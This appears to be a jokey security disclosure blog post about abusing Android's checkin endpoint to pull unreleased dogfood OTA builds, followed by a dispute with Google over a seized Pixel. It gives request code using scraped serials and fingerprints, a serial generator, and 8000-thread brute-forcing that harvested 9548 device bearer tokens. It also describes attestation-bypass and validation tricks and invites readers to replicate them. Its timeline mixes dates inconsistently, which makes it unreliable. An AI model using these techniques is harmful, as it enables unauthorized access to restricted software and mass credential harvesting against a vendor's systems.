Eternal Dogfooders: How is the child of Aha turns furry
Disclosing my murrsuit on a Google Pixel 11 Pro XL. Android checkin endpoint, DroidGuard bypass, device taken apart in CA. All for dogfood.

thank you i love you daiwa scarlet the human
What if I told you there is a genre of Security Research entirely revolving around the premise of cosplaying as a dog in a fursuit while fighting with the species owner because it's a closed species and then being claimed as a duplicate?
Except no, actually this is a story about the Android checkin endpoint. POST a protobuf, get OTA URLs. Thats the technical premise.
Except no, again, this is about a phone we owned getting shipped to California and not returned. The checkin endpoint was just how we got there.
Same thing, really.
And the one who was right the whole time was us.
아 진짜?


there is this underground idol group that livestreams from a place called 404 Error. their fans are called "Delulus." their teacher once said: "delusion always arrives when you least expect it. It shines brighter than starlight, more dazzling than even the sun... And what we need to do is run forward, immerse ourselves in that delusion, and show everyone the best versions of ourselves... without holding anything back!"
That's us. We are the Delulus.
some sing because the truth can't be spoken, only screamed. Exiles from the deep, playing heavy metal because direct speech would break the world. Google said nothing happened. So heres everything that did.

we're not a research lab. we're not a security firm. we're a bunch of people who looked at the checkin endpoint and said "yeah, we can probably get dogfood builds from this" and then actually did it. from 404 Error, no less. the Angels livestream from a fictional address. we livestream from a bug that Google closed as a duplicate of our own report.
We would love you to join us for a bite.


Starting small: つまらない spell and checking into the Heavenlyplex
Have you ever heard of spell stacking? It's the act of compressing multiple incantations into a single, dense spell. Have you tried reciting thousands of spells in each line of incantation within 2 minutes of incantation time? We will get into this later, but let's start with a simple spell incantation.
Normally, one would do this:
incantation, response := spell.AcquireRequest(), spell.AcquireResponse()
defer spell.ReleaseIncantation(incantation)
defer spell.ReleaseIncantationAnswer(response)
incantation.SetRequestURI("https://automaton.googolapis.com/checkin")
incantation.Method(spell.MethodPost)
incantation.Encoding(gzCondensum) // It's a compressed spell
incantation.AcceptEncoding(gzCondensum, deflateCondensum)
// The type is a Archetypal Sigil Definition, as we imbued the
// incantation in a Manabuffer before sending it up
incantation.Type("application/x-manabuffer")
incantation.UserCaster(
fmt.Sprintf("Akureyri/2.1.0 Penguin; U; Automaton %s; %s Build/%s",
fingerprint.AutomatonVersion, fingerprint.Product, fingerprint.BuildTag))
incantation.SetBody(recitation.Bytes())This is an HTTP POST to https://android.googleapis.com/checkin, gzipped, encoded as a Protocol Buffer.
The incantation will then give you a lot of things. The only part that we wil be interested in is the update parameters bits that allow an OTA update to be executed:
| Field | Meaning |
|---|---|
| Title | The OTA update title, the official name or identifier of the patch. |
| Description | Shown to the user if the patch is a manually invoked "Check for Update." |
| URL | The endpoint that update_engine uses to download patches. |
| Token | A bearer token granting update_engine access to restricted patches via the Authorization header. |
| Size | Human-readable string of the patch size (e.g. "15 MB"). Display purposes only. |
| Post time | Unix timestamp of when the OTA was posted. Helps identify which build batch you pulled from. 1782941346 is July 1, 2026. |
| Size Value | Raw numerical size in bytes. For sorcery nerds. Does not represent the actual patch file 1. |
Footnotes
-
Size value can be misleading in the case of a Brick, where a fake OTA patch is sent instead of the real one, used for terminating a targeted batch of devices. I know what you are. ↩


The Art of Somniomancing: Getting the required materials out from Buganizer
Rise and shine, Mystrey Crew! Today we're investigating the haunted house that is Buganizer issuetracker.google.com, where the ghosts are spam issues, the doors are marked "Duplicate," and the Scooby Snacks are internal build numbers left lying around by people who should know better.
I know this is a point of contention, but yes, this disclosure will feature Buganizer on it.
Hello, Chromium Buganizer
Chromium Buganizer issues.chromium.org is where we start digging. One funny thing you can try to find the materials used is by looking for "Filed by go/betterbug Google's internal bug reporting tool" or "betterbug Google's internal bug reporting tool.internal", and scour through the issues. We are going to take this issue for an example:

We are Gangnam on horseback
There, we have found our ingredients:
뭐야 이거.
Build Number — The full identifier of the software build running on the device. It includes the branch, build ID, build type, and signing keys.
google/comet/comet:Baklava/ZP1A.241209.002/12768705:userdebug/dev-keysSerial Number — The unique device identifier assigned to the specific hardware instance.
45291FDKD0014UHardware Revision — The version/revision of the hardware platform/model (We can ignore this)
PVT1.0Halo Universalization — Building the Manabuffer
We then can use the thing we got to fill up the mana required:
syntax = "proto2";
message AutomatonCheckinRequest {
// Information sent by the device in a "checkin" request.
required AutomatonBuildProto checkin = 4;
message AutomatonBuildProto {
// empty Build on pre-checkin
required Build build = 1;
message Build {
// Build.FINGERPRINT
// eg. google/grizzly/grizzly:DEV/ZP1A.260701.003/15769466:userdebug/dev-keys
optional string fingerprint = 1;
// On device, resolved from ro.product.build.fingerprint
// falling back to ro.system.build.fingerprint,
// then ro.build.fingerprint.
}
// Serial number (a manufacturer-defined unique hardware
// identifier). Alphanumeric, case-insensitive.
// eg, 45291FDKD0014U
optional string serial_number = 16;
}
}Trimmed for brevity.
We need real food
Ethereals can feed on corrupt Ether, but us mystics can't live on spirtual energy alone. We need real food. Same incantation skeleton as before, but now we fill it with our stolen ingredients:
recitationline := AutomatonCheckinRequest
recitationline.Checkin.Build.Fingerprint = "google/grizzly/grizzly:DEV/ZP1A.260701.003/15769466:userdebug/dev-keys"
recitationline.Checkin.Build.SerialNumber = "45291FDKD0014U"
data := manabuffer.Marshal(recitationline)
var recitation recitation.Buffer
gzc.NewWriter(&recitation)Marshal it, gzip it, send it. The rest of the incantation setup is identical to the skeleton above. If the response comes back with food in it, your eating.



Hey that bump is shaped like a Deer
Afterwards, they added AutomatonGreenCardGuard DroidGuard "Green" attestation requirement.
message AutomatonCheckinRequest {
// Information sent by the device in a "checkin" request.
required AutomatonBuildProto checkin = 4;
message AutomatonBuildProto {
optional string automatongreencardguardResult = 24;
}
}Field 24 is called sampled_diagnostic in the proto, which is a lie. It's not diagnostic data. It's an opaque attestation token for server-side abuse detection. Despite the name, the only thing it diagnoses is whether you're a real dogfooder or someone who read a blog post about checkin endpoints.
The field uses probabilistic sampling. The server pushes a threshold between 0.0 and 1.0, and on each checkin, a random roll decides whether to actually run the AutomatonGreenCardGuard DroidGuard ritual. A threshold of 0.0 skips it entirely. 1.0 always runs it. Think of it as a gacha pull with a server-configurable rate. No pity system, no spark counter, no guaranteed SSR after 90 rolls. You either hit the rate or you don't. When you do, the Jäger is coming. It knows where you are, it's coming, and you can't stop it. The probability gate exists because the DroidGuard VM is expensive, latency-wise, so the server only bothers with a fraction of checkins.
// Gacha pull. No pity. You either get the token or you don't.
if allowlist.Has(field24) {
threshold := samplingConfig.Rate() // the house sets the rate
if rand.Float64() < threshold {
// Welcome home, master. Here's your SSR.
if token := droidGuardProvider.Get(); token != nil {
req.Sampleddiagnostic = token
}
}
}When the roll succeeds, the token generation goes like this:
// Gather the soul fragments. Not all of them will be allowed.
var essence strings.Builder
essence.WriteString(strconv.FormatInt(androidID, 10)) // android_id, the serial number's older brother
identifiers := []struct {
field int
value string
}{
{1, imei}, // field 1
{10, meid}, // field 10
{17, esn}, // field 17
{16, serial}, // field 16
{9, macAddresses}, // field 9, can be multiple. plural suffering.
}
for _, id := range identifiers {
if allowlist.Has(id.field) && id.value != "" {
essence.WriteString(":")
essence.WriteString(id.value)
}
}
// Throw it all into the SHA-1 cauldron. Base64 the remains.
hash := sha1.Sum([]byte(essence.String()))
contentBinder := base64.StdEncoding.EncodeToString(hash[:])
// Deadly wish, let's make it drip.
// Flow identifier: "checkin". Yes, really.
token, err := droidGuard.Execute("checkin", map[string]interface{}{
"CONTENT_BINDER": contentBinder,
}, nil)Thats what goes into field 24. Welcome home, master. Up, pull, pull.
We won't show you how we generated valid automatongreencardguardResults, but you can generate that yourself. We're just putting it that way. Appearances can be deceiving. Can't tell that a lie is a lie.
We did, however, defeat it with a funny derivative of a certain out-of-bounds write in the broom that Google rated as CRITICAL. A missing bounds check in the hardware security layer. They listed it in the March 2026 Pixel security bulletin as patched, but they didn't actually patch it. They can't patch it. The vulnerability is in the silicon itself, and no amount of OTA updates can fix a flaw that lives there. We used it to generate valid attestation results for devices that should not have been able to produce them. The bulletin says "fixed." The hardware says "lol."
We won't give you the CVE. You'll find it.
미쳤어.


They told everyone that this is a "Hardware-Backed Enrollment," which, in a way, yeah it is, but thinking this is a solution for this is as funny as their heavy "work" of banning leaked Keybox and Fingerprints to supposedly make Android "secure" with Play Integrity.
Very バランスの取れた, Google, don't listen to the haters.
Reenacting the Act of Evangelion for Somniomancing (in a dream, not the hospital) - The Dream Dealer
Another thing about the endpoint, no rate limit. It makes sense, it's called hourly by every Android device, and blocking it would break onboarding. But it gave us a hilarious way to expand our capital with the sleep element.
No oversight. Just experiments.
Agnes Tachyon
"Life is an experiment, and we its guinea pigs. You, me, the other Umamusume - everyone!"
Horse. Yes, horse. Equal parts researcher and runner, we pursue the limits of speed with the power of science. We will stop at nothing to quench our pure thirst for knowledge, performing all manner of experiments on living subjects - unauthorized, dangerous experiments, at that. Our name literally means "faster than light."
That's us. We're the guinea pigs. The endpoint has no rate limit, and you can programmatically generate the serial needed to get more, starting of course with the -


How to do multiple Spell Stacking for fun
The idea is simple: Uma racing. You stack your requests and let them race each other, because who has the patience to wait for one to finish before firing the next? Not us. You fire off a herd of incantations concurrently, let them gallop towards the endpoint, and see which ones make it back first. Let's split up, gang.
No one has ever said one cannot stack a spell stack Sending multiple bulk requests as threads, what I am trying to lie down right now is that you can send multiple spell stacks Bruteforcing without any damage rate limit to us. Like stacking Bagpipes in IS, each copy makes the next one cast faster. Though this is reasonable given that checkin is a busy endpoint that is called every hour or so by every Android device in the world.

.png?2026-07-11T16%3A24%3A42.840Z)
Let's start with manifesting a horse:
toChar := func(idx int) byte {
if idx < 10 {
return '0' + byte(idx)
}
return 'A' + byte(idx-10)
}
// Last digit of the year
year := components.date.Year() % 10
// Month mapped to base-36
month := int(components.date.Month())
// Two digits of the day
day := components.date.Day()
prefix := []byte{
'0' + byte(year),
toChar(month),
'0' + byte(day/10),
'0' + byte(day%10),
'1',
}
// Hey that bump is shaped like a deer
prefix = append(prefix, components.deer...)
// DUI? How about you die? I'll go a hundred miles an hour
prefix = append(prefix, '0', '0')That's how one can generate a serial. We won't tell you how to do async, goroutines and multithreading here given that it's out of scope. What we will tell you is that our implementation is a pile of racy goroutines that tend to crash if you look away for too long. We can't be bothered.
You can also look up IMEIs for various other funny builds, too. This one should be self-explanatory.
The Invisible Hand: LTR Marks, Metadata Extraction, and a Brick
One thing we discovered after the initial report is that fingerprints are not just strings. They are strings that can be manipulated. Specifically, you can prepend a Unicode Left-to-Right Mark (U+200E) to a fingerprint, and the system will accept it as valid while the actual string content shifts in ways that are useful for bypassing naive validation.
This was recently fixed, but for a while it meant you could craft fingerprints that looked correct to the human eye but were structurally different at the byte level. The kind of thing that makes you go "why is this even possible" and then you remember you're dealing with a system that was designed in 2008 and has been duct-taped ever since.
We also found that you can fetch the first 256KB of any OTA URL with a Range header, and the response contains build metadata that is not present in the checkin response. Branch, build ID, signing keys, all of it. The OTA server is happy to give you a preview of what you're about to download, which is very generous of it, considering we were not supposed to be downloading it in the first place.
But that's not why we're here. One random day, one of our Pixel 8 Pro's configured with pawfood all dogfood channels combined (development, staging, teamfood, trunkfood, nextfood)-24h-quick, one of the trunks that has recently switched to incremental OTA packages, stopped booting after we installed a completely legitimate build Or that's what it looked like.
We've done the same due diligence as Google does with our bug reports, and we realized something was ヤバい. The update engine WILL NOT APPLY an incremental package if the hash of any of the currently installed images doesn't match the "manifest" within the image. This device fell under this situation. Some of the images installed were from a different pawfood all dogfood channels combined (development, staging, teamfood, trunkfood, nextfood, in this context, droidfood)-7d-slow trunk, so it is impossible an incremental package was installed.
We couldn't tell much about what happened, because the loophole was never really closed.
At Red Winter, we get taught that curiosity makes us human, so we took the phone apart, we desoldered the UFS Universal Flash Storage, and we realized we had been "UNO Reverse Card'd". After inspecting the LUNs Logical Unit Numbers, we found that all the bootloaders were wiped, and that devinfo still existed, but the PS config values were gone.
Something we installed tried to hard brick our incantation machine, with succes.
헐.


This is the part where the game tells you "YOU DIED" and you have to sit through the loading screen while it explains that you should have backed up your save file. Except the save file is a physical chip and the loading screen is you desoldering it with a heat gun at 3am.
개미친거 아니야?
However, with the power of the Celestial UFS Programmer, we wrote the copies of all the paritions we had, including flashing the entire factory images back into the phone.
By that time, Android 16 was released. We tried to install it. It did not boot with it. We tried more Android versions (both public and internal), and we found out the May 2025 Security Patch factory image booted but anything past 2026-06-05 would not. We thought it would be all good, until we updated to Android 16 through OTA. It bricked again.
아니 왜.
We were getting hunted, probably? しょうがない! We came back to the heuristics and desoldered the UFS again, checked everything again, but this time, everything was fine. We did not know why it was not booting up. We restored the last dump we took from the UFS, and booted into the patch that worked fine to analyze more, until we came through fastboot and saw an interesting thing:
(bootloader) ap-ar-ns:-7
(bootloader) ap-ar-s:-7
(bootloader) avb-hastree-error-mode:restart
(bootloader) battery-current:219 mA
(bootloader) battery-soc-ok:yes
(bootloader) battery-voltage:3787 mV
(bootloader) current-slot:a
(bootloader) ddr-manu:Samsung
(bootloader) ddr-size:12GB
(bootloader) ddr-type:LPDDR5
(bootloader) enter-reason:reboot bootloader
(bootloader) erase-block-size:0x1000
(bootloader) fdevinit-count:0
(bootloader) fdevinit-set-time:0
(bootloader) fdevinit-total-time:0
(bootloader) gsa-bl1-ar:7 // {{GSA: Google Security Application}} bl1 (primary bootloader) anti-rollback
(bootloader) gsa-fw-ar:3 // {{GSA: Google Security Application}} firmware anti-rollback
(bootloader) gsc-flavor:evt // {{GSC: Google Security Chip, Titan M2 (Dauntless)}} flavor
(bootloader) gsc-ro:3f217f1f // {{GSC: Google Security Chip, Titan M2 (Dauntless)}} read-only hash
(bootloader) gsc-rw:f475af9 // {{GSC: Google Security Chip, Titan M2 (Dauntless)}} read-write hash
(bootloader) has-slot:persist:no
(bootloader) hi:he...@google.com from Wrong Way To Draw Stuffs.ARB Anti-Rollback was preventing us from booting.

For the uninitiated: Anti-Rollback is the game's anti-cheat system. It watches you try to load an older firmware version and goes "nah, I don't think so" and bricks you. It's the Jäger of the bootloader. Always watching, always proceeding, and if it touches you, you're done. We were literally being gatekept by a bootloader that thought we were trying to speedrun an old patch. The fastboot output was the game's way of saying "skill issue."
Timeline: Nothing ever happened - Google Trust and Safety
A month prior to the escalation, we reported this to Google, on April 9, over Google VRP. We reported everything we know, including our knowledge regarding how Android Authority was covering Dogfood features and claiming they were from public QPR builds when they originated from Dogfood, and several other things that happened.
alot of going back and forth happened. なんでもない before -
It's an Abuse risk now, and there's a "John Researcher" already, which is you, and we insist. - Trust and Safety
our report is initially assigned to "WOOPS Web or Other Product Security", we're actively going back-and-forth in the ticket, as verbose and quickly as possible. We always replied to every inquiry they made, max one day after they commented.
then we filed a related issue. They closed it as a duplicate of our other report 2 despite it being a chain attack, not a duplicate. We told them on the other issue that this is not a duplicate.
Then in May 2nd, the issue is reopened, and suddenly being identified as an Abuse Risk and triaged to Trust and Safety, to be exact, Intel Collection Trust and Safety, and here is when everything turns sour.
A statue does not answer. It lands on everything you give it and drains until you stop looking. The first slash denies your finding. The second denies your identity. The third denies your existence. Three questions, no answers fixed. The statue wins when you stop looking.
Spot the Statue, the event they just ran, has Questioning Statues hidden among statues, costumes, pottery patterns. You find one, you think you got it. Then there is another one you missed. In the middle, we meet. Open sesame.

Double Take - Reopened and then Closed again after we corroborated even more
Here's a fun tip: don't even bother reporting Abuse risks to Google. They will find the most outlandish reason not to work on it and close it, even if they clearly haven't fixed completely. This is the part of the game where the NPC gives you a fetch quest, you complete it, and then they say "I don't remember asking you to do that" and the quest marker disappears.
The Questioning Statue dosen't have answers. It has questions. More every time you answer one. It was never built to be defeated, it was built to drain. Land on a fountain, take the water, ask the next. Different pool, same leak.
You missed another one. Incidental similarity. After our issue being closed twice, a week later, they closed the issue as "duplicate," again, to our issue. 4
We then appealed this decision, and they said that the issue is not a duplicate and that they would provide more info and we are asked to make a new report for Dream Dealer 5. A humble attendance, just want to draw attention. However, they had provided zero information until this disclosure was published.
They finally closed both issues because of the "John Researcher", which WOOPS said it's us, has reported it before we do (lol) in May 21 6. The major communication failure between the two teams here shows how ひどい the bureaucracy within Google is, making them look like they don't talk to each other, which they don't.
An emperor steps in to save a student from being beaten by police. They arrest him anyway. The officers do not recognize the face of their own ruler. It does not matter that he runs the country. The system sees a body in the street and fills in the rest. "John Researcher" is the same: you can prove your report is different from another report. You cannot prove you are someone the system is not looking for. Google creates a mirror version of you who already did everything, and tells you to argue with a man who does not exist.
아이고...


Getting a Guinness Record for getting granted the most 'Potential Abuse Risk' of the decade
at some point, we stopped counting how many times Trust and Safety flagged us. the first one felt special. By the fourth, it was a routine. By the seventh, we started wondering if there was a leaderboard.
A wolf chased for seven years and never stopped. Banished by her own blood for defying orders during the annihilation of another house. The target never replies. The code forbids breaking silence. Every channel sends you to the next one. VRP to Trust and Safety to WOOPS to Device Support to Pixel Security. Each one is the "right place" that redirects you somewhere else. The system is designed so you exhaust your energy before you reach the person who can actually help. The wolf does not care. She keeps coming anyway.
each time, the pattern was the same: we report, they escalate, someone new reads the ticket, and suddenly we are the threat. Never mind that we were the ones handing them the vulnerability on a silver platter. Never mind that the actual bad actors were already deep into the keybox economy. We were the convenient target because we were visible. we had names. we had a bug report. we had the audacity to follow up.
Enhanced Inspection - Nothing beats a Jet2 Holiday to Mountain View
we didn't take more chances and decided to get a hold of Google Device Support to provide us with an explanation, so we prepared the device in the Thryobria laboratories, took the original, authentic Pixel spare parts to complete the repair, sealed the device and sent the phone to Google for a normal repair, that turned to be a visit to the United States. We saw they cancelled the repair, and we got a nice email from Akril of the Pixel Hardware team, where he kindly told us "The device integrity has been compromised, and the specialized tools are unable to authenticate it" and that they "suspected it might be an unauthorized unit or a counterfeit."
this is まずい. We thought they might have found out we repaired the unit (which to be fair, is perfectly normal), but they mentioned that "the investigation needed to be finished within the US, we sent the device for an enhanced inspection."
what inspection, we wondered... We got to know it could be due an "intellectual property risk."
まずいですね.
we sent a phone in for repair and it got sent to a different country for "enhanced inspection." this is the equivalent of sending your car to the mechanic and having it shipped to a military base because they found a sticker you put on the bumper.
하... 제발.


days passed, and we got to know by Anna of the Pixel Security team that the device was, let me quote:
part of Google's internal inventory based on specialized inspection of the contents of the Security Chip, and part of a managed batch from one of Google campuses in the United States.
They said they wouldn't be returning the device due to this, until we started talking about consumer rights. Want to dream, want to touch, want to tempt you. We got this amazing response in no more than 26 MINUTES after.

We got a new husky on the family. Their name will be... Disclosure!

The "Jet2 Holiday to Mountain View" bit is not a joke, by the way. When Google decides your device needs "enhanced inspection," it does not go to a local repair center. It goes to the mothership. We shipped a Pixel from Asia and it ended up in California. International incident over a phone that we owned, that we bought retail, that we repaired with genuine parts. The customs form said "repair return." The reality was closer to "evidence seizure."
The troupe knows: you cannot prove you are not an actor. Three teachers shaped the boy, one for darkness, one for grace, one for combat. On debut night, he killed them all and fled. The master still calls it a masterpiece. Every receipt you provide is a line in their script. Every serial number is a scene direction. You end up playing the role they wrote for you, because the only way to exit the theater is to carry on and wait until the curtain falls.
We have been told, multiple times, that we should "work through proper channels." We did. Every time. The proper channel led to a closed ticket, a duplicate label, or a new abuse risk designation. At some point, the proper channel starts looking like a hamster wheel, and the hamster is wearing a fursuit.
Alive Until Sunset - You see, I'm sick and tired of saying "Pretty Please"
this disclosure was supposed to be public on May 29 last year. we extended it. 90 days, trying to be resonable.
the original deadline was tight. We reported in April. Google escalated in May. We gave them the full 90-day window, industry standard, no exceptions. We waited. They closed our tickets. We reopened them. They closed them again. We filed new ones. Those got closed too. The 90-day clock kept ticking while the bureaucracy spun in circles.
the first real conversation we had with Google about the actual vulnerability, not about whether we were the problem. They said they would update us early next week. Since November 8, 2025.
It took 90 days and a disclosure deadline to get a human to talk to us like researchers, not suspects. Fed the statue. Silence. Thats the state of Google’s vulnerability handling in 2026.


Could you save me?
Getting the incantation response
So, the response that we are going to need is inside repeated fields with a bunch of stuff.
The proto definition for the response is:
message AutomatonCheckinResponse {
message BigGKnows {
optional string name = 1;
optional string value = 2;
}
repeated BigGKnows data = 5;
}Then we can do a for-loop to look for food:
if strings.Contains(ilovedogfood.lower.name, "platform_dogfood") ||
strings.Contains(ilovedogfood.lower.name, "droidfood") ||
strings.Contains(ilovedogfood.lower.value, "droidfood") {If the response contains any of those strings, the device is registered for dogfood. Now you should have enough to bite.
화이팅.


Spell Stacking - again
Remember when they allowed us to do multiple spell stacking, well, we did prety well with 8000 concurrent threads. Escalation mode. The more you stack, the more you get, and the harder it is to stop. Each goroutine spawns another, each request brings back a sigma file, each sigma file is another device in the herd.
find . -type f -name "sigma*.json" | wc -l
9548Thats 9548 device profiles. Each one a real registered device with a real bear token. Each one could download OTA packages from Google's own servers. Each one, a proof that the door was never locked.
This post is sponsored by Google Trust and Safety. For when you need your vulnerability report closed as a duplicate before you even finish writing it. Use code JOHN_RESEARCHER for a free abuse risk designation on your first submission.

Excluding stable builds for Googlers.
After all that, we can get the Title and Description for the OTA update. For a demonstration, here's a grizzly-user build:
[Grizzly User Build Dogfood OTA UPDATE] CD1A.260512.003.B2
A new system update CD1A.260512.003.B2 is available!!
This system update is part of the Grizzly Experimental-6 dogfood track, which receives OTA update bi-weekly, typically on Tuesday after verification by teamfood and QA over the weekend.
Please reach out to [email protected] if you have any questions.
WARNING
Update is downloaded and applied immediately when available. The installation may take up to 30 minutes to complete. You may experience device slowness/battery drain/overheating while the update is being applied.With URL of e68f6fe815801d1f4daa66844517ffbcc41c5c79.zip. Though given that this is a user build, this unreleased device patch package doesn't require a bearer token to download.
This is a real OTA description. I could have made it up and no one would check, but I didnt. The bar is on the floor and I still tripped over it.
And its not just dogfood. grizzly public user builds have the same story:
• CD1A.260512.003.B2 (full): e68f6fe815
• CD1A.260512.003.B2 -> CD1A.260604.001.D5 (incremental): 3a3e023225
• CD1A.260604.001.D5/15620598 -> CD1A.260618.001.A6/15730905 (incremental): 16d75a2a0d

Join Us For A Bite - Android Canary is their resolution for this issue
In a hilarious downturn, they "fixed" this by introducing Android Canary to the public in July 2025. Android Canary is a separate public build channel Android Canary public dogfood-equivalent build channel, distinct from the flag pipeline's nextfood stage 7, with ZP11 build prefix. Monthly builds for Pixel 6+. Factory images only, no public OTA links. If you want OTA you enroll your device. The way they solved this is pretty much to let everyone join for a bite.

In fairness, that's fine, but they could've communicated this better, and this doesn't solve the initial problem, though it does indeed reduce the impact for Google this issue also impacts partners' OTA, and unless they go along with this, this only "fixes" this issue for Google.
Nor does this solve the initial problem. They closed an issue that was a duplicate of ours, and when we clarified, they said it was made by another researcher.
おわり。
PayloadCMS tried to build this post and gave up at slide 17. Can't blame it.


Sussy Jetski, Jetski Amogussy.

I wrote this whole post with chaos.exe playing on loop the whole time. The door was never locked and it still isnt.
For even more insane writeups and making your funny OS secure and to recoup the reward that Trust and Safety took from us, consider subscribing to our Patreon to stay tuned. As always, more insane gacha games content to come, and I sincerely hope this game will consume your life slightly less than it has consumed mine.
